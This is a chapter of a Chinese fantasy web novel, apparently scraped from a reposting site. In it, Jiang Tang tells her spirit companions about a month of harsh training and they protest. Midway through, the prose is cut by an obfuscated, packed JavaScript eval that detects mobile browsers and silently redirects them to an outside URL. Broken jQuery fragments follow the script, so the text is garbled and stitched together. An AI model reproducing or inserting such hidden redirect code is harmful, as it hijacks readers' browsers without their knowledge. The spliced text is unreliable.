确定是秦柚，姜棠松了口气。


    秦柚比她小1岁，是个I人。


    她的情况和姜棠有些类似，父母双亡后由祖辈抚养，但老人家年纪太大，便将孩子交托给白葵花之家。后来，两位老人先后去世，秦柚留在白葵花之家。平时在她忙不过来的时候也会悄悄在后面帮忙——谁让桑葵真的太不靠谱。但从感情上来说，姜棠和她……不算熟悉。


    秦柚就像是一只家养小精灵，还是默默奉献的版本，当你需要的时候她会忽然冒出来，不需要的时候会无声无息消失。一句谢谢都能让她脸红很久很久，几天躲在房间里和其他人错开时间出门。


    姜棠计算过的，至少3天。


    随着年龄增长，次数增多，现在变成1天。


    回复完桑葵后，女孩看着精灵的训练，手上快速盲打，不久便写好一篇小小作文。发送给黑白小猫头像之前，她才低头检查一遍有没有错。


    这是姜棠以前练下来的技能，原因是什么，她已经不太记得。


    小作文发出，不到30秒，手机叮咚响。


    这一次，秦柚会发出那个猫猫害羞的表情吗？


    女孩眼睛看着两只精灵，手上已经点开软件最上方的位置。稍稍低头，一段长长的文字，她的眼睛缓缓睁大。


    训练后的按摩结束，姜棠搬了一张椅子坐到小桌前。两只毛茸茸停下打闹，在桌前排排坐，还很顺手把没喝完的营养饮料放到一边。


    “你也听听。”


    女孩拍拍怀里的蛋壳，得到“同意”的反馈后，板着脸清了清嗓子。


    “咳咳。”


    正要切入正题，两只精灵睁着眼乖乖看着她，看得人心软。姜棠勉强忍住动手的心思，依然没忍住放软声调，说道：“接下来的一个月，我们要进行地狱式训练。”


    刚刚收到通知，明天他们仨要到老爷子那儿上课。


    姜棠不想问，为什么之前一直没有回复，忽然就变成了一个为期一个月的加强训练课。


    早在和桑葵说起要去补课后，女孩便主动联系了彭叔和岑老爷子。


    彭叔彭远是镇上教导格斗课程的老师。曾是镇上护林站的护林员，退休后把家安在镇上。没有结婚没有孩子，每天热衷于和精灵对拳。偶尔会为了寻找新鲜的对手离开镇上。姜棠是他唯一的学生。


    对于希望成为御兽师的孩子，彭叔的课程对于身体的训练有些超过，又不带其他内容，大多是跟着老爷子和程漱程叔学的御兽师课程。


    姜棠还是因为从小需要维护身体健康保持锻炼，又没有想要成为御兽师的志向，才跟着彭叔好几年。


    几年训练下来，她还是没成功达到彭叔的标准，改口叫老师。


    她这边想要调换课程，自然需要两位负责上课的老师沟通后安排。中间问过两次没有结果，知道今天……


    天知道时间被缩短之后，她还准备着找老爷子改一下时间和强度，最后她还没开口，心里预备的4小时加强版直接被翻倍成8小时。以7天为一个周期，6训1休，一共35天。感谢老爷子，还能捞个单休。


    但对桃桃和西风，却不是什么好消息。


    “嗷……？”


    “呋……？”


    两只用相似的表情表露出相近程度的疑惑，仿佛在奇怪她为什么要忽然说这个。那种理所当然的态度，反而让姜棠更加不好意思。


    之前的三餐和训练都是她直接安排的，虽然会根据它们的口味喜好或者接受程度调整，可实际上……她没有给与它们选择的机会。


    果然是说得再好听，实际行动还是有差别的吗？


    但是这一次，她必须要好好说清楚。


    无论是训练的事，还是后面的事。


    她详详细细把后续训练可能会遇到的情况、未来一年也许会面对的困难，一一说出来。


    最后，她说。


    “如果你们不愿意的话，也没关系。”


    “包括你。”


    纤细的手指点了点精灵蛋。


    “我会把你们交托给老师，老师是一名非常优秀的培育师。你们可以继续每天现在的生活。事情解决之后，我会回来，我们可以继续一起生活。如果这段时间里，你们想要和其他人出去旅行的话……”


    说到这里，说话的时间太长，女孩子的声音有些嘶哑。


    “告诉老师，请她帮忙看看，没有问题的话，我会同意。最好……还是等我回来，让我也见一见那个人。”


    “所以，你们好好想一想，然后回答我，好吗？”


    如果可以，姜棠希望这些话是在2年后再开口。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865779|174235||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现在太早了。


    一个月左右的时间，哪怕她想当老母亲，大约也是当不上了。


    啪啪啪啪


    白色小兽疯狂甩尾，毛茸茸的尾巴一下下打到女孩的脸上，像是一个个巴掌。它的力道控制得极好，只有一点轻微的痛感。


    大约是连红印子也不会留下的程度。


    女孩心想。


    大约是感受到她的走神，西风嗷了一声，尾巴的力道一下子加大。


    “痛痛痛！”


    “呋呋！”


    桃桃同样不高兴，它发出加油的声音，一跳一跳的，一边给西风打气，同时不忘滋出水枪，一下一下又一下，将姜棠盘好的长发彻底打湿才罢休。


    它们表达愤怒还算正常。


    蛋里那只还没出生的，才接触了两天……不对，两天都不到的，也在发出叭叭叭的声响。


    这种时候，你就不要凑这个热闹好吗？


    姜棠无奈，却也只能抱紧精灵蛋，努力安抚西风和桃桃。


    “呜——好好好，我会把你们算上。”


    “嗷嗷嗷！”


    “是是是，不会小瞧了你们。”


    “呋！”


    “对对对，不会随便把你们让出去。”


    “嗷嗷？”


    “不行，必须洗澡。”


    费尽口舌，女孩勉强将两只毛茸茸安抚下来。期间还拒绝了好些奇奇怪怪的要求，诸如不洗澡只按摩、不吃菜叶子、饮料要加冰……不是这么一说，女孩也不知道它们其实有那么多要求。


    但是，不能的就是不能的。


    别看精灵的身体大部分比人类强壮，真的一天喝个几杯冰水，也是会拉肚子要看医生的。


    待它们都冷静下来，姜棠自己也平复好乱七八糟的心情。才认认真真看着它们的眼睛许诺道。


    “我承诺，姜和懿、姜棠会是你们的伙伴、家人和朋友——在看到的未来里。”


    “和懿”这个名字，只有姜棠自己知道。多年不用，回想起来还有一瞬间的陌生。但当这两个字从文字变得具体，她心里依然更认同这个名字。


    随着这句话，她仿佛听到了什么破碎的声音。


    左手手背中央传来炙热的痛感，许许多多破碎的画面在这个瞬间从脑海的深处迸发。